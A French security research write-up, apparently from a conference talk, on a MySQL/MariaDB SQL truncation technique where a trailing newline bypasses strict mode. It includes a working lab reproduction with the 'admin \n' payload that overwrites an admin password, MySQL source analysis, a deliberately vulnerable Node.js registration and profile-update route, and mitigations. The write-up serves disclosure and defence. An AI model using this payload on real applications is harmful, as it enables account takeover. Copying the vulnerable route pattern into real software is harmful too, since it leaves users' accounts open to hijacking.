TL;DR de 3 minutes dans cette vidéo.
Un jour, un ami à moi a terminé un challenge qui impliquait une vulnérabilité de troncature SQL, et il en était préoccupé. Je l'ai rassuré en lui disant que c'était juste un « trick de CTF » et hardcodé, mais que ça n'existait pas vraiment. J'ai ensuite commencé à faire des recherches sur le sujet juste « pour confirmer ».
Voici les résultats de cette recherche.
On lance un conteneur mysql:5 ou mariadb:latest et on crée une table utilisateur ultra simple :
docker run -it --rm --name maria-temp -e MARIADB_ROOT_PASSWORD=root mariadb
docker exec -it maria-temp mariadb -proot
CREATE DATABASE IF NOT EXISTS db;
USE db;
CREATE TABLE IF NOT EXISTS User (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(10) UNIQUE NOT NULL,
username VARCHAR(10) NOT NULL,
password VARCHAR(100) NOT NULL
);
Deux utilisateurs. Un admin qu'on veut pwn, et un guest qu'on contrôle :
INSERT INTO User (email, username, password)
VALUES ('admin@root', 'admin', 'unknowpass');
INSERT INTO User (email, username, password)
VALUES ('guest@root', 'guest', 'guestpass');
L'objectif est simple : réécrire le mot de passe admin sans le connaître.
Première chose à savoir : MySQL avec les collations par défaut (PAD SPACE) ignore les espaces de fin dans les comparaisons. Donc :
SELECT * FROM User WHERE username = 'admin ';
-- Renvoie l'admin.
-- +----+------------+----------+------------+
-- | id | email | username | password |
-- +----+------------+----------+------------+
-- | 1 | admin@root | admin | unknowpass |
-- +----+------------+----------+------------+
Mais si on ajoute un vrai caractère après les espaces :
SELECT * FROM User WHERE username = 'admin a';
-- Empty set. Le 'a' le rend différent.
Pareil avec \n :
SELECT * FROM User WHERE username = 'admin \n';
-- Empty set. '\n' n'est pas un espace pour les comparaisons.
On voit ici le comportement clé : "admin" == "admin " mais "admin" != "admin \n". Retenez bien. Ça a son importance.
Depuis MySQL 5.7.5, STRICT_TRANS_TABLES est activé par défaut. MariaDB a suivi en 10.2.4. Donc si on essaie de caser une valeur trop longue :
UPDATE User
SET username = 'admin a'
WHERE username = 'guest';
-- ERROR 1406 (22001): Data too long for column 'username' at row 2
Le mode strict attrape le caractère a qui serait perdu à la troncature et lève une erreur. Les attaques classiques de troncature SQL de 2008 sont bloquées.
Mais voilà le truc. La doc de MySQL dit littéralement :
« For VARCHAR columns, trailing spaces in excess of the column length are truncated prior to insertion and a warning is generated, regardless of the SQL mode in use. »
« Regardless of the SQL mode. » Donc tronquer des espaces ne lève jamais d'erreur. Seulement un warning. Même en mode strict. La question devient : qu'est-ce que MySQL considère comme un "espace" ?
\n est un espace (mais pas toujours)Essayons un truc. Au lieu de 'admin a', on utilise 'admin \n' :
UPDATE User
SET username = 'admin \n'
WHERE username = 'guest';
-- Query OK, 1 row affected, 1 warning
-- Rows matched: 1 Changed: 1 Warnings: 1
Ça marche. MySQL a accepté. Le \n s'est fait tronquer avec juste un warning.
Vérifions l'état de la base :
SELECT * FROM User;
-- +----+------------+----------+------------+
-- | 1 | admin@root | admin | unknowpass |
-- | 2 | guest@root | admin | guestpass |
-- +----+------------+----------+------------+
SELECT username, CHAR_LENGTH(username) FROM User;
-- | admin | 5 |
-- | admin | 10 |
On a maintenant deux utilisateurs nommés "admin". Le vrai (5 caractères) et notre faux (10 caractères : "admin" + 5 espaces). Ça fonctionne parce que username n'est pas UNIQUE.
Et comme PAD SPACE les traite comme égaux dans les clauses WHERE, on peut maintenant écraser le mot de passe du vrai admin :
SET @target_username = (SELECT username FROM User
WHERE username = 'admin' AND password = 'guestpass');
UPDATE User
SET password = 'evilpass'
WHERE username = @target_username;
-- Query OK, 2 rows affected
-- Rows matched: 2 Changed: 2
SELECT * FROM User;
-- +----+------------+----------+----------+
-- | 1 | admin@root | admin | evilpass |
-- | 2 | guest@root | admin | evilpass |
-- +----+------------+----------+----------+
Mot de passe admin réécrit. On est dedans.
Alors pourquoi \n bypass le mode strict alors que a ne le fait pas ? Il est temps de creuser dans le code source de MySQL.
Quand MySQL compare des chaînes (dans SELECT, WHERE, JOIN), il utilise strnncollsp() de item_cmpfunc.cc. Cette fonction pad la chaîne la plus courte avec uniquement des caractères espace (0x20). C'est ça PAD SPACE. Seul le vrai caractère espace compte.
Mais quand MySQL stocke une chaîne et qu'elle est trop longue, il appelle test_if_important_data() de field.cc :
static bool test_if_important_data(const CHARSET_INFO *cs,
const char *str,
const char *strend)
{
if (cs != &my_charset_bin)
str += cs->cset->scan(cs, str, strend, MY_SEQ_SPACES);
return (str < strend);
}
Cette fonction scanne les caractères en trop et vérifie s'ils sont tous des « espaces » en utilisant my_isspace(). Si oui, elle renvoie false (la donnée n'est pas importante) et MySQL émet juste un warning. Sinon, elle renvoie true et MySQL lève une erreur en mode strict.
my_isspace() est généreuxinline bool my_isspace(const CHARSET_INFO *cs, char ch) {
return ((cs->ctype + 1)[static_cast<uint8_t>(ch)] & MY_CHAR_SPC) != 0;
}
Elle vérifie le caractère dans une table ctype avec le bitmask MY_CHAR_SPC (octal 010, décimal 8). Regardons quels caractères ont ce flag :
| Char | Hex | valeur ctype | Flags | my_isspace ? |
|---|---|---|---|---|
\t (tab) |
0x09 | 40 | CTR + SPC | oui |
\n (newline) |
0x0A | 40 | CTR + SPC | oui |
\v (vtab) |
0x0B | 40 | CTR + SPC | oui |
\f (formfeed) |
0x0C | 40 | CTR + SPC | oui |
\r (return) |
0x0D | 40 | CTR + SPC | oui |
(space) |
0x20 | 72 | SPC + B | oui |
Ce sont exactement les caractères reconnus par la fonction isspace() standard du C. Tous ont le flag MY_CHAR_SPC.
Si on suit la logique : '\n' = 0x0a = valeur ctype 40 = 32 + 8 = MY_CHAR_CTR + MY_CHAR_SPC. Le flag MY_CHAR_SPC est activé, donc my_isspace() renvoie true. MySQL considère \n comme de la donnée non importante. Troncature acceptée. Warning uniquement.
Et c'est là toute l'astuce. MySQL a deux définitions de « l'espace » :
strnncollsp) : seulement 0x20test_if_important_data / my_isspace) : 0x09 à 0x0D + 0x20\n passe par cet interstice. Il est « pas important » pour le stockage (donc la troncature est autorisée même en mode strict), mais ce n'est pas un espace pour la comparaison (donc il bypass les checks d'unicité dans les SELECT).
Stocker 'admin \n'
|
Valeur trop longue pour VARCHAR(10)
|
test_if_important_data(): scan avec my_isspace()
|
'\n' a le flag MY_CHAR_SPC -> "pas important"
|
Troncature avec WARNING (pas d'erreur, même en mode strict)
|
Stocké : 'admin '
Cette attaque repose sur les collations PAD SPACE où 'admin' = 'admin '. Voilà ce qu'il faut savoir :
utf8mb4_0900_ai_ci qui est NO PAD. Avec NO PAD, 'admin' != 'admin ', donc la partie comparaison de l'attaque est cassée. Mais le comportement de troncature lui-même est identique -- le code n'a pas changé, seulement la collation par défaut.utf8mb4_general_ci en 10.x, utf8mb4_uca1400_ai_ci en 11.4+). Les collations NO PAD existent depuis 10.2.2 (*_nopad_*) mais ne sont jamais la valeur par défaut. L'attaque fonctionne.Donc si vous êtes sur MySQL 8 avec une collation PAD SPACE (fréquent après une migration depuis MySQL 5), vous êtes toujours vulnérable. Et si vous êtes sur MariaDB avec les paramètres par défaut, vous êtes vulnérable peu importe la version.
Vous pouvez vérifier le comportement de padding de votre collation :
SELECT COLLATION_NAME, PAD_ATTRIBUTE
FROM INFORMATION_SCHEMA.COLLATIONS
WHERE COLLATION_NAME LIKE '%utf8mb4%';
Voilà à quoi ressemble une app Node.js vulnérable. Des trucs classiques -- inscription + mise à jour du profil :
router.post('/register', async (req, res) => {
const { email, username, password } = req.body;
const [existingUser] = await pool.query(
'SELECT * FROM User WHERE email = ? OR username = ?',
[email, username]
);
if (existingUser.length > 0) {
return res.status(400).json({
message: "Email ou nom d'utilisateur deja utilise."
});
}
// ... insert user ...
});
Si on s'inscrit avec "admin \n", le SELECT ne matchera pas "admin" (parce que \n n'est pas ignoré par PAD SPACE). L'inscription réussit. MySQL tronque en "admin ".
router.put('/update-profile', auth(), async (req, res) => {
const { username, password, description } = req.body;
if (username && username !== user.username) {
const [existingUsers] = await pool.query(
'SELECT * FROM User WHERE username = ?', [username]
);
if (existingUsers.length > 0) {
return res.status(400).json({
message: "Nom d'utilisateur deja utilise."
});
}
}
params.push(user.username);
const updateQuery = `UPDATE User SET ${updates.join(", ")} WHERE username = ?`;
await pool.query(updateQuery, params);
res.status(200).json({ message: 'Profil mis a jour' });
});
Le WHERE username = ? utilise le username de la session. PAD SPACE fait matcher "admin" avec "admin ". Les deux lignes sont mises à jour.
Pour que ça marche il faut :
username au lieu de id)UNIQUE (le SGBD rejette le doublon)id (clé primaire) dans les clauses WHERE| SGBD | Comparaison VARCHAR | Troncature silencieuse | Vulnérable ? |
|---|---|---|---|
| MySQL 5.x | PAD SPACE | Oui (caractères d'espacement) | Oui |
| MySQL 8.0+ (défaut) | NO PAD | Oui (caractères d'espacement) | Mitigé par défaut |
| MariaDB (toutes versions) | PAD SPACE | Oui (caractères d'espacement) | Oui |
| SQL Server | PAD SPACE | Oui | Potentiellement |
| PostgreSQL (VARCHAR) | Pas de padding | Non (erreur) | Non |
| Oracle (VARCHAR2) | Pas de padding | Non | Non |
| SQLite | Pas de padding | Pas de limite VARCHAR | Non |
SQL Server est intéressant -- il suit ANSI SQL-92 et utilise PAD SPACE pour toutes les comparaisons = (seul LIKE est exempté). Mais je n'ai pas testé, à creuser.
UNIQUE dans votre schémautf8mb4_0900_ai_ci sur MySQL 8, ou *_nopad_* sur MariaDB 10.2.2+)\n, \t, \r...) dans les champs texte comme les usernamesSTRICT_TRANS_TABLES)sql/field.cc (test_if_important_data), sql/item_cmpfunc.cc (Arg_comparator::compare_string), strings/ctype-simple.c (my_strnncollsp_simple, my_scan_8bit), include/mysql/strings/m_ctype.h (MY_CHAR_SPC, my_isspace)
En rédigeant l'article et en poussant les recherches plus loin, je me suis rendu compte qu'il existait des références à cette attaque dès 2008. Il s'avère que cette recherche étend accidentellement des travaux antérieurs -- je n'ai fait le lien qu'après coup.
En 2008, Stefan Esser (SektionEins GmbH) a publié l'Advisory 05/2008, décrivant une attaque de troncature SQL contre WordPress (CVE-2008-4106). Le concept avait été présenté encore plus tôt par Bala Neerumalla (Microsoft) à la Black Hat USA 2006. L'idée était simple :
"admin" + 55 espaces + "x" (dépassant la longueur de la colonne)"admin")"admin" + 55 espacesCette attaque nécessitait que STRICT_TRANS_TABLES soit off. Depuis MySQL 5.7.5 (2015) et MariaDB 10.2.4, le mode strict est on par défaut et la bloque : le x après les espaces est une « donnée importante », donc MySQL lève une erreur.
La technique \n a été trouvée indépendamment, juste en lisant le code source MySQL par curiosité. Le lien avec les travaux d'Esser et Neerumalla n'est apparu qu'après.
La différence fondamentale : l'attaque classique exploitait l'absence du mode strict. La technique \n exploite une asymétrie interne de MySQL qui persiste même avec le mode strict activé. Deux définitions de « l'espace » dans le code source :
strnncollsp) : seulement 0x20test_if_important_data / my_isspace) : 0x09-0x0D + 0x20 (le isspace() du C)\n (0x0a) se faufile dans la faille.
| Classique (Esser, 2008) | Technique \n (cet article) |
|
|---|---|---|
| Nécessite mode strict off | Oui | Non |
| Padding | Espaces + caractère alpha | Espaces + caractère d'espacement (\n) |
| Cause racine | Troncature silencieuse + PAD SPACE | Asymétrie my_isspace() vs strnncollsp() |
| Mode strict MySQL 5.7+ | Bloquée | Fonctionne |
| Mode strict MariaDB 10.2.4+ | Bloquée | Fonctionne |
| CVE connue | CVE-2008-4106 (WordPress) | Aucune (considéré comme « comportement documenté ») |
Après une recherche dans la littérature existante (blogs sécu, writeups CTF, OWASP, PayloadsAllTheThings, OverTheWire Natas 27, publications Synacktiv), aucune référence antérieure au bypass via \n par l'asymétrie MY_CHAR_SPC n'a été trouvée. Tous les writeups existants sur la troncature SQL décrivent la technique classique avec mode strict désactivé.
my_isspace and MY_CHAR_SPC)Présenté au Before SSTIC Unofficial, organisé par Bieres Secu Rennes et le DEF CON Group Paris, avec le soutien de Synacktiv.